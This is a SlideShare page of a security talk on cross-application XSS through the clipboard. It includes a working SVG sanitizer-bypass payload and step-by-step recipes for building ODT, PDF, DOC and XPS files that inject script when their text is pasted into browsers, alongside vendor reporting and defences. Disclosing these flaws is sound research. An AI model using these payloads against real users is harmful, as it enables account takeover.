Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
Copy & Pest
A case-study on the clipboard, blind trust and invisible
cross-application XSS
A talk by Mario Heiderich
mario...
Don't accept any documents from this man
● Dr.-Ing. Mario Heiderich
● Researcher and Post-Doc, Ruhr-Uni Bochum
– PhD Thesi...
So, this happened several months ago, 
Mr. Derp opens Gmail and writes a message.
(you, fellow attendees will see the live...
We open a document
We copy & paste into Gmail
Tada!
Technical Background
● There's some things we need to talk about
– and will in a few minutes
● What did just happen here?
...
Thanks, Ange Albertini :D
What did just happen here?
● We have seen an attack
that abuses a copy&paste
interaction
● We copied from a seemingly
harm...
Why did it happen?
● To understand, why it happened, we first must
understand where the HTML came from
● And what is the t...
Let's go back in time
In the years before computers were around, even before photocopiers
were around, manuscript editing ...
Let's stay back in time
That is Apple's Lisa.
This computer supported something that
has been fist implemented in text edi...
The Origins of the Clipboard
Data transfer with expanded clipboard formats
EP 0717354 A1, 1995, MSFT
The Clipboard Today
● It stores intermediate data
● Sometimes the data goes from one position
in a document to another pos...
A simple example
● Let's now copy a piece of text and see what happens in the
clipboard
● For examination, we use the tool...
It also runs with Wine
Clipboard & Notepad
Clipboard & Word 2013
<![endif]-->
</head>
<body lang=EN-US style='tab-interval:.5in'>
<!--StartFragment-->
<p class=MsoNormal><b style='mso-bid...
Let's Recap
● The clipboard is a complex object containing more than
just text.
● It can hold several different data forma...
Now, Security
● If one application creates data that other
applications may use, injections might be
possible
● One applic...
Let's analyze it!
We create a ODT file in
LibreOffice. We add
some interesting and
meaningful text with
styles and set it ...
What's in our clipboard?
We paste the copied
text into the browser.
Specifically a small
tool we created for
getting more
...
<style type="text/css">H1 { margin-bottom: 0.21cm; }
H1.western { font-family: "Liberation Sans",sans-serif;
font-size: 16...
Does it correspond?
● Now, we can see that certain seemingly
influencable parts from the document are in the
generated HTM...
The ODT's Content
The File styles.xml
Let's play with that!
Now, what can we do?
● We can in fact inject into the clipboard HTML!
● We can have a valid doc with no traces of an attac...
OpenOffice → Browser
● Well, we know already that by injecting into the font-
family names inside styles.xml we can inject...
OpenOffice → Browser
</style><svg><style>svg
{position:fixed}</style><style>svg
{top:0}</style><style>svg {left:0}</style>...
OpenOffice → Browser
<office:font-face-decls><style:font-face
style:name="&lt;/style&gt;&lt;div
contenteditable=false&gt;&...
OpenOffice → Browser
OpenOffice → Browser
I. We create an OpenOffice document
II. We rename the file from ODT to ZIP
III. We open the ZIP and t...
PDF → Browser
PDF → Browser
PDF → Browser
PDF → Browser
I. We create a benign PDF
II. We find the section on font-family names
III. We modify them carefully with a ...
MS Office → Browser
MS Office → Browser
MS Office → Browser
MS Office → Browser
MS Office → Browser
I. We create a DOC file with a hyperlink
II. We carefully edit it via hex editor
III. We add some HTML...
XPS → Browser
XPS → Browser
XPS → Browser
XPS → Browser: Cookbook
I. We take some free font from somewhere
II. We modify its properties using font-forge
III. We add...
Overview
● PDF → Browser, works in MSIE. PDF readers do not create a HTML
Bucket but MSIE also understands RTF buckets and...
More Surface
● Attackers can use Flash to stuff your clipboard too
● Flash can fill the HTML and the RTF bucket
● All you ...
Defense
● All discovered attack techniques were reported to browser
vendors. They need to fix their clipboard sanitizers
●...
How it works
window.addEventListener('load', function(){
var cb = document.getElementById('clipboard');
cb.focus();
cb.add...
Future Work
●
We have seen data being copied from one software into another
● The manipulated documents were used to injec...
Conclusion
Be careful when you copy & paste.
Don't trust that invisible thing
that contains and deals out complex data.
On...
The End
● Question?
● Comments?
● Thanks a lot!
● Talk Material & PoCs
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-application XSS
Upcoming SlideShare
Loading in …5
×

Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-application XSS

21,777 views

Published on

The clipboard is one of the most commonly used tools across operating systems, window managers and devices. Pressing Ctrl-C and Ctrl-V has become so fundamentally important to productivity and usability that we cannot get rid of it anymore. We happily and often thoughtlessly copy things from one source and paste them into another. URLs into address-bars, lengthy commands into console windows, text segments into web editors and mail interfaces. And we never worry about security when doing so. Because what could possibly go wrong, right?

But have we ever asked ourselves what the clipboard content actually consists of? Do we really know what it contains? And are we aware of the consequences a thoughtless copy&paste interaction can have? Who else can control the contents of the clipboard? Is it really just us doing Ctrl-C or is there other forces in the realm who are able to infect what we believe to be clean, who can desecrate what we trust so blindly that we never question or observe it?

This talk is about the clipboard and the technical details behind it. How it works, what it really contains – and who can influence its complex range of contents. We will learn about a new breed of targeted attacks, including cross-application XSS from PDF, ODT, DOC and XPS that allow to steal website accounts faster than you can click, turn your excel sheet into a monster and learn about ways to smuggle creepy payload that is hidden from sight until it executes. Oh, and we’ll also see what can be done about that and what defensive measures we achieved to create so far.

Published in: Internet

Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-application XSS

  1. 1. Copy & Pest A case-study on the clipboard, blind trust and invisible cross-application XSS A talk by Mario Heiderich mario@cure53.de || @0x6D6172696F
  2. 2. Don't accept any documents from this man ● Dr.-Ing. Mario Heiderich ● Researcher and Post-Doc, Ruhr-Uni Bochum – PhD Thesis about Client Side Security and Defense ● Founder of Cure53 – Pentest- & Security-Firm located in Berlin – Consulting, Workshops, Trainings – „Simply the Best Company in the World“ ● Published Author and Speaker – Specialized on HTML5, DOM and SVG Security – JavaScript, XSS and Client Side Attacks ● HTML5 Security Cheatsheet ● And DOMPurify! – @0x6D6172696F – mario@cure53.de
  3. 3. So, this happened several months ago,  Mr. Derp opens Gmail and writes a message. (you, fellow attendees will see the live demo,  for everyone else we have screen­shots)
  4. 4. We open a document
  5. 5. We copy & paste into Gmail
  6. 6. Tada!
  7. 7. Technical Background ● There's some things we need to talk about – and will in a few minutes ● What did just happen here? ● Why did it happen? ● How else can this happen? ● What can we do against it? ● Who should actually fix it? ● Now let's get to it, shall we
  8. 8. Thanks, Ange Albertini :D
  9. 9. What did just happen here? ● We have seen an attack that abuses a copy&paste interaction ● We copied from a seemingly harmless document, here LibreOffice ● We then pasted into the browser, here the Gmail compose window ● And all of a sudden, HTML and JavaScript unfold and cause XSS. Or even XAS. ● Although the application we pasted from doesn't understand HTML at all. Strange, right?
  10. 10. Why did it happen? ● To understand, why it happened, we first must understand where the HTML came from ● And what is the transport medium for the rogue data ● We also need to understand what is expected behavior ● And then we can learn how to deviate from that. But how can we find out in the first place?
  11. 11. Let's go back in time In the years before computers were around, even before photocopiers were around, manuscript editing was a tedious craft. And it involved scissors and often what was called “cut and paste”. Editors were actually cutting text passages and images and pasted them somewhere else. With actual glue.
  12. 12. Let's stay back in time That is Apple's Lisa. This computer supported something that has been fist implemented in text editors in the mid seventies That feature was called “cut and paste” and allowed developers to move segments of text in a more convenient way. No scissors involved. Apple however was the one to name the interim memory to store cut and paste data. They called it “The Clipboard”.
  13. 13. The Origins of the Clipboard Data transfer with expanded clipboard formats EP 0717354 A1, 1995, MSFT
  14. 14. The Clipboard Today ● It stores intermediate data ● Sometimes the data goes from one position in a document to another position ● Sometimes across documents ● Sometimes across applications ● Sometimes across systems ● Usually triggered by user-interaction ● Such as copy&paste ● Or cut&paste ● Or drag&drop ● The clipboard can handle many different data formats ● And that's where it's getting interesting!
  15. 15. A simple example ● Let's now copy a piece of text and see what happens in the clipboard ● For examination, we use the tool ClipView from Peter Büttner, written in July 2003 ● So, we simply open the editor, notepad.exe, copy something and use the tool
  16. 16. It also runs with Wine
  17. 17. Clipboard & Notepad
  18. 18. Clipboard & Word 2013
  19. 19. <![endif]--> </head> <body lang=EN-US style='tab-interval:.5in'> <!--StartFragment--> <p class=MsoNormal><b style='mso-bidi-font-weight:normal'><span style='font-size:22.0pt;line-height:107%'>JUSTIN <span style='color:red'>B</span><span style='color:#70AD47;mso-themecolor:accent6'>e</span><span style='background: yellow;mso-highlight:yellow'>i</span>b<span style='color:#4472C4;mso- themecolor: accent5'>er</span>! U are my HERO!<o:p></o:p></span></b></p> <p class=MsoNormal><b style='mso-bidi-font-weight:normal'><u><span style='font-size:22.0pt;line-height:107%;background:yellow;mso- highlight:yellow'>Please foollw me on Twertr</span></u></b><b style='mso-bidi-font- weight:normal'><u><span style='font-size:22.0pt;line- height:107%'><o:p></o:p></span></u></b></p> <!--EndFragment--> </body> </html>
  20. 20. Let's Recap ● The clipboard is a complex object containing more than just text. ● It can hold several different data formats at the same time. Let's call those “buckets” for simplicity sake ● An application, upon copying or similar creates those buckets and fills them with data ● Another application can pick one of these upon pasting ● If e.g. Office creates an HTML bucket from DOC, MSIE can say “Hey – I'll take that one” ● There's almost unlimited types of buckets – it's all up to the application ● A bucket can also contain file information, whole folders, bitmaps, sound waves, whatever is necessary
  21. 21. Now, Security ● If one application creates data that other applications may use, injections might be possible ● One application might be able to produce data that harms the other application. Or its user. ● But how can we get test if that is possible? And how can we find injection points?
  22. 22. Let's analyze it! We create a ODT file in LibreOffice. We add some interesting and meaningful text with styles and set it to a non- standard font. Then we copy the text so we have it in our clipboard.
  23. 23. What's in our clipboard? We paste the copied text into the browser. Specifically a small tool we created for getting more intelligence on the HTML bucket of the clipboard.
  24. 24. <style type="text/css">H1 { margin-bottom: 0.21cm; } H1.western { font-family: "Liberation Sans",sans-serif; font-size: 16pt; }H1.cjk { font-family: "WenQuanYi Micro Hei"; font-size: 16pt; }H1.ctl { font-family: "Lohit Hindi"; font-size: 16pt; }P { margin-bottom: 0.21cm; }</style> <h1 class="western" style="background: #6666ff" align="CENTER"><font color="#800000"><font face="Gentium Book Basic"><font style="font-size: 28pt" size="6"><span style="background: #ffff00">Aaaaw Gaaawd J<font color="#ff0000">u</font><span style="background: #00ccff">st</span><font color="#00cc00">iii</font>n! </span></font></font></font> </h1> <h1 class="western" align="CENTER"><font color="#800000"><font face="Gentium Book Basic"><font style="font-size: 28pt" size="6"><span style="background: #ffff00">Falllaaaaw maw ahn Twataaaah!</span></font></font></font></h1>
  25. 25. Does it correspond? ● Now, we can see that certain seemingly influencable parts from the document are in the generated HTML ● If we have a look into the document itself, will we find and can we change those parts? ● And create a HTML injection with them? ● Let's try. OpenOffice documents are ZIP files. ● One of the contained files is called styles.xml ● It looks like this
  26. 26. The ODT's Content
  27. 27. The File styles.xml
  28. 28. Let's play with that!
  29. 29. Now, what can we do? ● We can in fact inject into the clipboard HTML! ● We can have a valid doc with no traces of an attack by editing styles.xml ● We specifically change font family names. ● We can copy from that document and paste into the browser. ● And we will be able to generate HTML from thin air. ● Because our injected text breaks the generated style element and keeps going from there. ● We cannot inject scripts or iframes though. ● Because browsers sanitize the HTML clipboard!
  30. 30. OpenOffice → Browser ● Well, we know already that by injecting into the font- family names inside styles.xml we can inject HTML on paste ● But we cannot simply inject HTML that executes JavaScript ● It will be stripped by the in-browser clipboard sanitizer ● So we need a bypass for that filter. And we need to squeeze that into the font-family name ● Is there a bypass? Yes there is – even a multi-browser bypass working on both Chrome and Firefox!
  31. 31. OpenOffice → Browser </style><svg><style>svg {position:fixed}</style><style>svg {top:0}</style><style>svg {left:0}</style> <style>svg {height:10000px}</style> <style>svg {width:10000px}</style> <style>svg {opacity:0}</style> <a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?"><circle r="4000"></circle> <animate attributeName="xlink:href" begin="0" from="javascript:alert(document.domain)" to="&" /> </a>
  32. 32. OpenOffice → Browser <office:font-face-decls><style:font-face style:name="&lt;/style&gt;&lt;div contenteditable=false&gt;&lt;svg&gt;&lt;style&gt;svg {position:fixed}&lt;/style&gt;&lt;style&gt;svg {top:0}&lt;/style&gt;&lt;style&gt;svg {left:0}&lt;/style&gt; &lt;style&gt;svg {height:10000px}&lt;/style&gt; &lt;style&gt;svg {width:10000px}&lt;/style&gt; &lt;style&gt;svg {opacity:0}&lt;/style&gt; &lt;a xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot; xlink:href=&quot;?&quot;&gt; &lt;circle r=&quot;4000&quot;&gt;&lt;/circle&gt; &lt;animate attributeName=&quot;xlink:href&quot; begin=&quot;0&quot; from=&quot;javascript:alert(document.domain)&quot; to=&quot;&amp;&quot; /&gt; &lt;/a&gt;1" svg:font- family="Harmless"/>
  33. 33. OpenOffice → Browser
  34. 34. OpenOffice → Browser I. We create an OpenOffice document II. We rename the file from ODT to ZIP III. We open the ZIP and then edit the file styles.xml IV. Inside that file we find “Micro Hei” and change it V. We use a HTML-encoded closing style element and an animatable SVG VI. We do this because Firefox and Chrome sanitize the clipboard VII. By using the SVG trick, we bypass the sanitizer VIII.We save the styles.xml, rename the file from ZIP to ODT IX. We copy from OpenOffice, paste into the browser X. We have XSS on Firefox and Chrome
  35. 35. PDF → Browser
  36. 36. PDF → Browser
  37. 37. PDF → Browser
  38. 38. PDF → Browser I. We create a benign PDF II. We find the section on font-family names III. We modify them carefully with a hex editor IV. We learn that parenthesis is not allowed in font-family names V. We evade that by using I. VBS for IE10 or IE11 in IE10-docmode II. ES6 and execution via alert`1` for IE12 VI. Adobe Reader produces a RTF bucket VII. IE “understands” the RTF bucket and turns it into HTML I. This alone should be another interesting research topic VIII. We have another XSS
  39. 39. MS Office → Browser
  40. 40. MS Office → Browser
  41. 41. MS Office → Browser
  42. 42. MS Office → Browser
  43. 43. MS Office → Browser I. We create a DOC file with a hyperlink II. We carefully edit it via hex editor III. We add some HTML around the hyperlink IV. We use contenteditable=false to make it “clickable” V. Word creates a HTML bucket on copy VI. MSIE “understands” that upon pasting VII.We have an XSS Or we do it just as with OpenOffice and use a DOCX instead of a DOC, we open it as ZIP, edit around in the content file and cause XSS like that
  44. 44. XPS → Browser
  45. 45. XPS → Browser
  46. 46. XPS → Browser
  47. 47. XPS → Browser: Cookbook I. We take some free font from somewhere II. We modify its properties using font-forge III. We add XSS payload into one of the properties IV. We install the font on our system V. We create a document and save it as XPS VI. The font will now be embedded VII. We use the XPS on a different system VIII.The font-family name will contain XSS payload IX. IE understands that X. We have another XSS Again upon paste, this time no other user interaction required
  48. 48. Overview ● PDF → Browser, works in MSIE. PDF readers do not create a HTML Bucket but MSIE also understands RTF buckets and transforms them to HTML on its own. ● DOC/DOCX → Browser, works in MSIE – from Office 2013 but not the Word Viewer. Similarly works in other office products ● XPS → Browser, works in MSIE because of a bug in the clipboard sanitizer. Necessary tools here are a malicious font created with font- forge ● ODT → Browser, works in Chrome and Firefox because of clipboard sanitizer bugs. Sanitizer between tabs is fine, sanitizer between applications is broken ● Most of the attacks survive changes in the document! ● “Affected” office software ● Office 2013, LibreOffice and similar tools, PDF Reader, FoxIT Reader ● They can be used to poison the clipboard with malicious markup ● Affected browsers ● Just MSIE, Chrome, Opera, Safari, Firefox, anything WebKit or Blink. Strangely, Blink on Windows behaves differently from Blink on *nix
  49. 49. More Surface ● Attackers can use Flash to stuff your clipboard too ● Flash can fill the HTML and the RTF bucket ● All you need is a click ● You can also embed a Flash in a PDF and once it's clicked it fills your clipboard ● On MSIE, you also have ways to fill the clipboard without user consent, but no HTML or RTF buckets ● So Flash remains the most attractive vector here ● Yet, abusing that smartly is a different story
  50. 50. Defense ● All discovered attack techniques were reported to browser vendors. They need to fix their clipboard sanitizers ● Websites can fix the shortcomings of browsers too – and sanitize after paste ● We can for instance utilize our tool DOMPurify to do the job ● To illustrate how it works, we created a browser extension that does two things: ● We called it PastePurify. Don't use it, it's just a PoC! ● It sanitizes the HTML of an element pasted into after pasting. Not optimal but good enough for a proof of concept ● It allows to show the HTML bucket of the clipboard. Very useful. ● Let's have a look at that! ● Oh, and NoScript has a fix too! ● And consider using Ctrl+Shift+V a bit more often :)
  51. 51. How it works window.addEventListener('load', function(){ var cb = document.getElementById('clipboard'); cb.focus(); cb.addEventListener('paste', function(){ cb.value=event.clipboardData.getData('text/html'); }, false); document.execCommand('paste'); }, false);
  52. 52. Future Work ● We have seen data being copied from one software into another ● The manipulated documents were used to inject data into the clipboard – that will then execute in a whole different context ● We mainly focused on office software and browsers. Plausible attack and proper impact. Any why not, right? ● But we didn't have a look at different directions. Or different types of software ● That said, the attack surface is huge! ● Clipboard interaction is a major convenience tool and cannot be replaced easily ● But it's completely transparent to the common user and much damage can be dealt ● And by just looking at different software, you might find bugs and attack vectors within hours ● Maybe a PoC || GTFO with some copy&paste surprises?
  53. 53. Conclusion Be careful when you copy & paste. Don't trust that invisible thing that contains and deals out complex data. One day, it's gonna bite you :)
  54. 54. The End ● Question? ● Comments? ● Thanks a lot! ● Talk Material & PoCs

×